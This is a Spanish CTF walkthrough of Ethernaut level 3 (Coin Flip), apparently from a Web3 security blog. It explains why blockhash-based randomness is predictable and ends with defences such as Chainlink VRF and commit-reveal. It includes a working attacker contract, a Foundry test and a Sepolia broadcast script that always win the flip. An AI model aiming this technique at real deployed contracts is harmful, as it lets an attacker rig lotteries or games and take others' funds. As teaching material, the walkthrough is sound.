Ethernaut Level 3 Walkthrough: Explotando Aleatoriedad Débil On-Chain en Solidity
En este artículo analizaremos y resolveremos el reto número 3 de Ethernaut: Coin Flip.
Este nivel parece una simple moneda al aire, pero enseña una lección que todo desarrollador de Solidity necesita aprender temprano: nada calculado a partir de datos del bloque es aleatorio. Si un contrato deriva un secreto de valores que un atacante también puede leer, el atacante ya conoce el resultado antes de llamar la función.
Además de resolver el reto, también entenderemos:
- Por qué
blockhashy otras variables de bloque no son una fuente de aleatoriedad - Cómo un atacante puede replicar la fórmula "aleatoria" de un contrato, on-chain
- Cómo construir un contrato atacante que siempre acierte
- Cómo validar el exploit usando Foundry
- Cómo defenderse correctamente con una fuente de aleatoriedad basada en oráculo
Descripción del Reto
El contrato implementa un juego de volado. Cada llamada a flip calcula un lado pseudo-aleatorio a partir del hash del bloque anterior y lo compara contra la apuesta del usuario.
Cada acierto incrementa un contador consecutiveWins. Cualquier fallo lo reinicia a cero.
El objetivo del reto es:
Acertar el resultado del volado correctamente 10 veces seguidas.
Clasificación de la Vulnerabilidad
| Categoría | Valor |
|---|---|
| Vulnerabilidad: | Aleatoriedad débil on-chain |
| Causa Raíz: | El resultado "aleatorio" se deriva de datos públicos y replicables del bloque |
| Impacto: | Un atacante puede acertar con 100% de certeza |
| Severidad: | Crítica |
| Tipo de Ataque: | Pseudo-aleatoriedad predecible vía blockhash |
Análisis del Contrato Vulnerable
Este es el contrato vulnerable utilizado en el reto:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract CoinFlip {
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor() {
consecutiveWins = 0;
}
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number - 1));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
Causa Raíz de la Vulnerabilidad
El contrato intenta generar un volado justo usando solo datos on-chain:
uint256 blockValue = uint256(blockhash(block.number - 1));
lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
blockhash(block.number - 1) devuelve el hash del bloque anterior. Ese valor no es secreto. Cualquier nodo de la red puede leerlo, y también puede hacerlo cualquier contrato, incluido el contrato de un atacante, dentro de la misma transacción.
FACTOR es exactamente 2^255. Dividir un uint256 entre 2^255 deja solo su bit más significativo: el resultado es 1 si ese bit está encendido, 0 si no. En otras palabras, side es simplemente el bit más alto del hash del bloque anterior.
Como el contrato de un atacante también puede leer blockhash(block.number - 1), puede calcular side con exactamente la misma fórmula antes de llamar flip, y pasar ese valor como _guess. La parte "aleatoria" de este juego aleatorio es completamente pública.
Esto viola un principio central del diseño seguro de smart contracts:
Un valor no puede usarse como secreto si cualquier participante, incluido un atacante, puede leerlo o recalcularlo antes de que se use.
Entendiendo la Aleatoriedad Débil On-Chain
La falla no está en la aritmética. Está en la fuente de entropía.
El flujo es el siguiente:
flipleeblockhash(block.number - 1), un valor que forma parte del estado público de la blockchain.- Deriva
sidede forma determinista a partir de ese valor. - Compara
sidecontra el_guessque envía quien llama. - Como el paso 1 usa datos públicos, cualquiera puede calcular el mismo
sideantes de llamarflip, desde un contrato o desde un script fuera de la cadena.
Se mina el bloque N-1
|
v
blockhash(N-1) se vuelve público y estable dentro del bloque N
|
+----> CoinFlip.flip() lo lee y deriva "side"
|
+----> El contrato del atacante también lo lee y deriva el mismo "side"
|
v
El atacante llama flip(side) -> siempre correcto
Esta clase exacta de bug ha causado pérdidas reales. El caso más citado es la lotería SmartBillions de 2018, donde el número ganador "aleatorio" se derivaba de datos del bloque que un atacante podía predecir, permitiendo ganar sorteos repetidos sin azar real.
¿Por Qué la Aleatoriedad Basada en blockhash es Peligrosa?
blockhash y otras variables derivadas del bloque (block.timestamp, block.number, block.difficulty / block.prevrandao) comparten el mismo problema: son públicas antes o en el momento exacto en que se ejecuta una transacción.
Algunos matices importan aquí:
blockhashsolo devuelve valores distintos de cero para los 256 bloques más recientes. Consultas más antiguas devuelven cero, lo cual algunos contratos asumen erróneamente que los hace "más seguros": cero sigue siendo completamente predecible.- Incluso
block.prevrandao(el reemplazo deblock.difficultytras el Merge), aunque más difícil de sesgar que un hash, es conocido por los validadores antes que por usuarios comunes, y no debe tratarse como impredecible frente a un actor suficientemente motivado. - Cualquier valor calculable a partir de datos disponibles on-chain, antes o durante la transacción que lo consume, no puede servir como secreto.
El patrón seguro es obtener la aleatoriedad fuera de la cadena, desde un oráculo diseñado para ello, y consumirla solo después de que haya quedado comprometida de una forma que quien la solicita no pueda influir o predecir de antemano.
Estrategia del Ataque
Ahora que entendemos la vulnerabilidad, podemos diseñar el exploit.
Sabemos que:
sideestá completamente determinado porblockhash(block.number - 1), un valor que cualquier contrato puede leer.- Un contrato puede calcular
sidey llamarflip(side)en la misma transacción, garantizando un acierto. fliprevierte si se llama dos veces con el mismoblockValue, así que cada intento necesita un bloque nuevo.- Necesitamos 10 aciertos consecutivos, así que debemos repetir el ataque en 10 bloques distintos.
Por lo tanto, nuestra estrategia será:
- Desplegar un contrato atacante que recalcule exactamente la misma fórmula que
CoinFlip. - Llamar a su función
attack()una vez por bloque, durante 10 bloques. - Cada llamada lee el
blockhash(block.number - 1)actual, deriva la apuesta correcta y llama aflipcon ese valor. - Después de 10 llamadas exitosas,
consecutiveWinsllega a 10 y el reto queda resuelto.
Contrato Atacante
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface CoinFlip {
function flip(bool _guess) external returns (bool);
}
contract CoinFlipGuesser {
uint256 constant FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
CoinFlip public target;
address public owner;
constructor(address _target) {
target = CoinFlip(_target);
owner = msg.sender;
}
/// @notice Recalcula la fórmula de la víctima en el mismo bloque, así el guess siempre acierta.
function attack() external returns (bool) {
require(msg.sender == owner, "Not owner");
uint256 blockValue = uint256(blockhash(block.number - 1));
bool guess = (blockValue / FACTOR) == 1;
return target.flip(guess);
}
}
Declaramos una interfaz mínima CoinFlip en lugar de importar directamente el contrato del reto. Esto mantiene el contrato atacante autocontenido y evita cualquier fricción de pragma entre el código ^0.8.0 del nivel y el resto del toolchain.
El constructor guarda la dirección de la víctima como una referencia tipada CoinFlip y registra owner, así solo quien despliega el contrato puede disparar attack(). Cada llamada a attack() lee el mismo blockValue que el contrato víctima está a punto de leer, en el mismo bloque, y envía la apuesta derivada.
Cómo Funciona el Exploit
Primero, desplegamos CoinFlipGuesser apuntando a la instancia del reto.
Luego, una vez por bloque, llamamos attack(). Internamente lee blockhash(block.number - 1), exactamente el mismo dato que CoinFlip.flip está por usar, calcula side con la misma división entre FACTOR, y llama de inmediato a flip(side).
Como ambos contratos observan el mismo blockhash en la misma transacción, la apuesta nunca falla. Cada llamada exitosa incrementa consecutiveWins en el contrato víctima.
Repetimos esto 10 veces, moviéndonos a un bloque nuevo entre cada llamada, porque CoinFlip revierte si se reutiliza el mismo blockValue. Después de la décima llamada exitosa, consecutiveWins llega a 10 y se cumple la condición del reto.
Validando el Exploit con Foundry
Después de clonar el repositorio de Ethernaut localmente, podemos crear un test con Foundry para validar el exploit.
// SPDX-License-Identifier: MIT
// CoinFlip_L3.t.sol
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
import {Utils} from "test/utils/Utils.sol";
import {CoinFlip} from "src/levels/CoinFlip.sol";
import {CoinFlipFactory} from "src/levels/CoinFlipFactory.sol";
import {CoinFlipGuesser} from "test/Solutions/Attacks/CoinFlipGuesser.sol";
import {Level} from "src/levels/base/Level.sol";
import {Ethernaut} from "src/Ethernaut.sol";
contract TestCoinFlip_L3 is Test, Utils {
Ethernaut ethernaut;
CoinFlip instance;
address payable owner;
address payable player;
function setUp() public {
address payable[] memory users = createUsers(2);
owner = users[0];
vm.label(owner, "Owner");
player = users[1];
vm.label(player, "Player");
vm.startPrank(owner);
ethernaut = getEthernautWithStatsProxy(owner);
CoinFlipFactory factory = new CoinFlipFactory();
ethernaut.registerLevel(Level(address(factory)));
vm.stopPrank();
vm.startPrank(player);
instance = CoinFlip(createLevelInstance(ethernaut, Level(address(factory)), 0));
vm.stopPrank();
}
function testInit() public {
vm.prank(player);
assertFalse(submitLevelInstance(ethernaut, address(instance)));
}
function testSolve() public {
vm.startPrank(player);
CoinFlipGuesser guesser = new CoinFlipGuesser(address(instance));
// El nivel solo permite un flip por bloque, así que avanzamos un bloque antes de cada intento.
for (uint256 i = 0; i < 10; i++) {
vm.roll(block.number + 1);
guesser.attack();
}
assertEq(instance.consecutiveWins(), 10);
assertTrue(submitLevelInstance(ethernaut, address(instance)));
vm.stopPrank();
}
}
Ejecutando el Test
Ejecuta el test localmente, sin fork:
forge test --mp test/Solutions/CoinFlip_L3.t.sol --mt testSolve -vvv
Validamos este test contra el EVM local de Foundry en lugar de un fork de Sepolia. La razón es técnica, no un atajo: vm.roll solo avanza el número de bloque local. En una red forkeada, blockhash para un número de bloque que en realidad aún no se ha minado en la cadena real devuelve cero, y dos valores cero consecutivos disparan la propia protección del contrato if (lastHash == blockValue) revert();, mucho antes de llegar a los 10 aciertos. Localmente, el EVM de Foundry produce un hash determinista distinto para cada bloque, así que el ciclo corre limpio.
Una vez ejecutado, podemos verificar que el contrato atacante llegó a 10 aciertos consecutivos y que el nivel acepta el envío.
Resolviendo el Nivel en Sepolia
Ahora crearemos un script para ejecutar el exploit directamente contra la instancia de Ethernaut.
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import {Script} from "forge-std/Script.sol";
import {CoinFlipGuesser} from "test/Solutions/Attacks/CoinFlipGuesser.sol";
import {console} from "forge-std/console.sol";
contract CoinFlipScript is Script {
address public target;
CoinFlipGuesser public guesser;
function setUp() public {
target = payable("0xYourEthernautInstance");
}
function run() public {
uint256 pk = vm.envUint("PK"); // Private Key from .env to sign the Tx
vm.startBroadcast(pk);
// guesser = new CoinFlipGuesser(target);
guesser = CoinFlipGuesser("your guesser contract address here");
guesser.attack();
console.log("Guesser contract:", address(guesser));
vm.stopBroadcast();
}
}
Ahora solo debemos ejecutar este script 10 veces, esperando un bloque nuevo cada vez, hasta que consecutiveWins llegue a 10. La primera ejecución desplegará el contrato guesser y nos dará su dirección, la cual debemos guardar y usar en las siguientes ejecuciones.
Ejecutando el Script
Primero ejecutamos el script localmente:
forge script scripts/CoinFlip.s.sol --rpc-url $SEPOLIA_RPC
Si todo funciona correctamente, podemos enviarlo a Sepolia. Repite esta llamada, esperando un bloque nuevo cada vez, hasta que consecutiveWins llegue a 10:
forge script scripts/CoinFlip.s.sol --rpc-url $SEPOLIA_RPC --broadcast --interactives 1 -vvv
Una vez que la décima llamada sea exitosa, consecutiveWins llegará a 10 en la instancia. Solo tienes que enviar la instancia en la página de Ethernaut.
Cómo Prevenir esta Vulnerabilidad
La defensa central es nunca derivar algo relevante para la seguridad a partir de datos que un observador on-chain pueda leer o reproducir antes de que se consuman.
Usa un oráculo de aleatoriedad verificable
Chainlink VRF (Verifiable Random Function) genera aleatoriedad fuera de la cadena junto con una prueba criptográfica, y la entrega on-chain en una transacción separada que quien la solicita no puede predecir de antemano:
import "@chainlink/contracts/src/v0.8/vrf/VRFConsumerBaseV2Plus.sol";
contract FairCoinFlip is VRFConsumerBaseV2Plus {
// La aleatoriedad llega de forma asíncrona vía fulfillRandomWords,
// nunca calculada a partir de datos del bloque disponibles para quien llama.
}
Nunca uses datos del bloque como fuente de aleatoriedad
Evita derivar resultados de blockhash, block.timestamp, block.number o block.prevrandao. Todos son públicos antes de usarse o influenciables por quien produce el bloque.
Separa el compromiso de la revelación
Si no hay un oráculo disponible, usa un esquema de commit-reveal donde el valor que determina el resultado se compromete (se hashea) antes de la acción del participante, y solo se revela después, para que el participante nunca pueda verlo con anticipación.
Lecciones Aprendidas
Este reto demuestra que "difícil de adivinar" no es lo mismo que "criptográficamente aleatorio".
Lecciones clave de este nivel:
blockhashy otras variables de bloque son datos públicos, nunca un secreto.- Si un contrato y el contrato de un atacante pueden calcular el mismo valor en el mismo punto de la transacción, ese valor no puede controlar acceso o recompensas.
- Cláusulas de guardia como
if (lastHash == blockValue) revert()evitan la repetición trivial, pero no corrigen la predictibilidad de fondo. - La aleatoriedad real debe venir de una fuente que la parte beneficiada por el resultado no pueda consultar de antemano.
- Prefiere soluciones de oráculo auditadas como Chainlink VRF en lugar de inventar aleatoriedad on-chain.
Conclusión
En este reto explotamos una aleatoriedad débil on-chain que nos permitió predecir el resultado exacto de cada volado antes de llamar al contrato.
Construimos un contrato atacante que lee el mismo blockhash que lee la víctima, deriva la misma apuesta y llama a flip con certeza, repitiendo el ataque en 10 bloques para llegar a los aciertos consecutivos requeridos.
Este nivel es una excelente introducción a:
- Aleatoriedad débil on-chain y su impacto en el mundo real
- Por qué
blockhashno puede usarse como secreto - Construcción de contratos atacantes mínimos con una interfaz tipada
- Metodología de explotación real validada con Foundry
- Patrones seguros de aleatoriedad usando oráculos verificables
Puedes encontrar más contenido sobre seguridad Web3 en nuestro blog.
Si estás buscando una auditoría de seguridad para tu protocolo, puedes contactarnos a través de nuestro sitio web seclat.xyz.